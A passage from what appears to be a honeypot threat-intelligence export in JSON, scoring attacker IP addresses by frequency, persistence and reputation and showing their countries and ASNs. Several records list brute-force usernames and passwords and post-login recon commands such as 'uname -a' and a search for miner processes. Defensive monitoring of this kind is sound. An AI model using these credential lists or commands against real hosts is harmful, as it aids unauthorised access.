        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cartagena",
      "asn": 27831,
      "as_org": "Colombia Movil",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T23:15:21.534000+00:00",
        "last_seen_30d": "2026-03-19T23:17:55.938000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "161.35.150.254": {
      "attack_count": 20,
      "first_seen": "2026-03-02T06:25:08.921Z",
      "last_seen": "2026-03-02T06:33:49.443Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:21:13.781000+00:00",
        "last_seen_30d": "2026-03-02T06:34:53.917000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "172.210.53.192": {
      "attack_count": 15,
      "first_seen": "2026-03-16T06:30:36.270Z",
      "last_seen": "2026-03-16T07:29:45.982Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root1234",
        "root@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:30:36.270000+00:00",
        "last_seen_30d": "2026-03-16T07:30:47.695000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "38.188.160.10": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:03:46.762Z",
      "last_seen": "2026-03-11T00:19:41.014Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "130983",
        "midnight1",
        "moimeme1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:03:46.762000+00:00",
        "last_seen_30d": "2026-03-11T00:20:42.722000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "157.230.219.41": {
      "attack_count": 14,
      "first_seen": "2026-03-04T23:46:42.133Z",
      "last_seen": "2026-03-05T05:46:13.278Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "sol"
      ],
      "passwords_attempted": [
        "sol"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T23:43:06.272000+00:00",
        "last_seen_30d": "2026-03-05T05:47:19.177000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 12
      }
    },
    "213.67.1.113": {
      "attack_count": 14,
      "first_seen": "2026-03-26T15:41:34.569Z",
      "last_seen": "2026-03-26T23:56:00.587Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:41:34.569000+00:00",
        "last_seen_30d": "2026-03-26T23:57:10.858000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 14
      }
    },
    "34.38.36.178": {
      "attack_count": 10,
      "first_seen": "2026-03-20T08:11:03.640Z",
      "last_seen": "2026-03-20T08:11:10.848Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T08:11:03.640000+00:00",
        "last_seen_30d": "2026-03-20T08:12:14.806000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "49.207.242.64": {
      "attack_count": 10,
      "first_seen": "2026-03-28T06:04:57.477Z",
      "last_seen": "2026-03-28T06:09:20.254Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "P@55Word",
        "Root@2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T06:04:57.477000+00:00",
        "last_seen_30d": "2026-03-28T06:10:22.271000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "37.58.136.133": {
      "attack_count": 8,
      "first_seen": "2026-03-26T07:44:45.971Z",
      "last_seen": "2026-03-29T19:55:22.226Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16347,
      "as_org": "ADISTA SAS",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:44:45.971000+00:00",
        "last_seen_30d": "2026-03-29T20:06:18.219000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "20.64.106.91": {
      "attack_count": 7,
      "first_seen": "2026-03-18T09:30:07.326Z",
      "last_seen": "2026-03-18T09:30:17.340Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T02:20:31.642000+00:00",
        "last_seen_30d": "2026-03-25T01:46:26.398000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 7,
        "Honeytrap": 1
      }
    },
    "162.142.125.192": {
      "attack_count": 6,
      "first_seen": "2026-03-07T06:40:55.841Z",
      "last_seen": "2026-03-07T06:41:32.076Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 22,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T10:28:20+00:00",
        "last_seen_30d": "2026-03-23T10:55:54.171000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 33,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Ipphoney": 1
      }
    },
    "199.45.154.157": {
      "attack_count": 6,
      "first_seen": "2026-03-09T16:39:38.095Z",
      "last_seen": "2026-03-09T16:40:12.537Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 30,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:28:26+00:00",
        "last_seen_30d": "2026-03-31T05:12:14.593000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 14,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "H0neytr4p": 4
      }
    },
    "157.15.59.102": {
      "attack_count": 5,
      "first_seen": "2026-03-02T02:26:49.589Z",
      "last_seen": "2026-03-02T02:26:52.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 152448,
      "as_org": "Global Trading And IT Solution Pvt. Ltd.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:26:49.589000+00:00",
        "last_seen_30d": "2026-03-02T02:28:00.190000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "172.202.117.171": {
      "attack_count": 5,
      "first_seen": "2026-03-02T18:10:26.751Z",
      "last_seen": "2026-03-02T18:10:37.103Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 16.7,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 20,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T18:09:19.912000+00:00",
        "last_seen_30d": "2026-03-21T19:47:06.310000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 5,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Honeytrap": 1
      }
    },
    "172.94.9.158": {
      "attack_count": 5,
      "first_seen": "2026-03-05T20:45:19.988Z",
      "last_seen": "2026-03-05T20:45:22.421Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#2026kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:09:34.448000+00:00",
        "last_seen_30d": "2026-03-05T20:46:22.992000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "38.188.160.201": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:50:44.648Z",
      "last_seen": "2026-03-10T23:50:46.998Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "120580"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:50:44.648000+00:00",
        "last_seen_30d": "2026-03-10T23:51:53.805000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.43": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:12:15.727Z",
      "last_seen": "2026-03-10T23:12:18.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "020282"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:12:15.727000+00:00",
        "last_seen_30d": "2026-03-10T23:13:24.691000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "47.242.223.98": {
      "attack_count": 5,
      "first_seen": "2026-03-18T10:59:45.367Z",
      "last_seen": "2026-03-18T10:59:50.866Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Aa@123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-18T10:59:45.367000+00:00",
        "last_seen_30d": "2026-03-18T11:00:55.184000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "5.181.87.103": {
      "attack_count": 5,
      "first_seen": "2026-03-12T04:24:04.216Z",
      "last_seen": "2026-03-12T04:24:07.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "osmc"
      ],
      "passwords_attempted": [
        "osmc"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 47585,
      "as_org": "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T04:24:04.216000+00:00",
        "last_seen_30d": "2026-03-12T04:38:37.804000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 5
      }
    },
    "64.89.161.53": {
      "attack_count": 5,
      "first_seen": "2026-03-08T11:32:50.213Z",
      "last_seen": "2026-03-08T22:43:28.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1254,
        "days_active_30d": 29,
        "ports_targeted_30d": 208,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:23:08+00:00",
        "last_seen_30d": "2026-03-30T04:38:27.297000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 985,
        "Honeytrap": 264,
        "Cowrie": 5
      }
    },
    "194.187.178.144": {
      "attack_count": 4,
      "first_seen": "2026-03-20T19:44:38.394Z",
      "last_seen": "2026-03-20T19:44:39.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-20T19:44:38.394000+00:00",
        "last_seen_30d": "2026-03-30T17:34:45.696000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "198.235.24.198": {
      "attack_count": 4,
      "first_seen": "2026-03-02T04:43:30.546Z",
      "last_seen": "2026-03-02T04:43:34.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:40:38.089000+00:00",
        "last_seen_30d": "2026-03-31T14:30:39.263000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 16,
        "Cowrie": 4,
        "Sentrypeer": 1
      }
    },
    "20.14.72.151": {
      "attack_count": 4,
      "first_seen": "2026-03-07T14:55:47.738Z",
      "last_seen": "2026-03-07T14:55:58.182Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 59.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 18.3,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 22,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T02:08:37.945000+00:00",
        "last_seen_30d": "2026-03-27T12:24:19.436000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 18,
        "Cowrie": 4
      }
    },
    "205.210.31.244": {
      "attack_count": 4,
      "first_seen": "2026-03-02T15:31:35.936Z",
      "last_seen": "2026-03-10T19:48:03.171Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T15:31:35.936000+00:00",
        "last_seen_30d": "2026-03-31T22:44:38.659000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "ConPot": 2,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "41.89.227.161": {
      "attack_count": 4,
      "first_seen": "2026-03-06T11:45:34.011Z",
      "last_seen": "2026-03-06T11:45:41.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Kutus",
      "asn": 36914,
      "as_org": "Kenya Education Network",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T11:45:34.011000+00:00",
        "last_seen_30d": "2026-03-06T11:46:47.866000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "42.176.204.91": {
      "attack_count": 4,
      "first_seen": "2026-03-31T02:33:14.739Z",
      "last_seen": "2026-03-31T02:33:15.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T02:33:14.739000+00:00",
        "last_seen_30d": "2026-03-31T02:34:21.207000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "8.138.44.199": {
      "attack_count": 4,
      "first_seen": "2026-03-16T22:39:40.204Z",
      "last_seen": "2026-03-16T22:41:40.205Z",
      "sessions": 1,
      "ports": [],
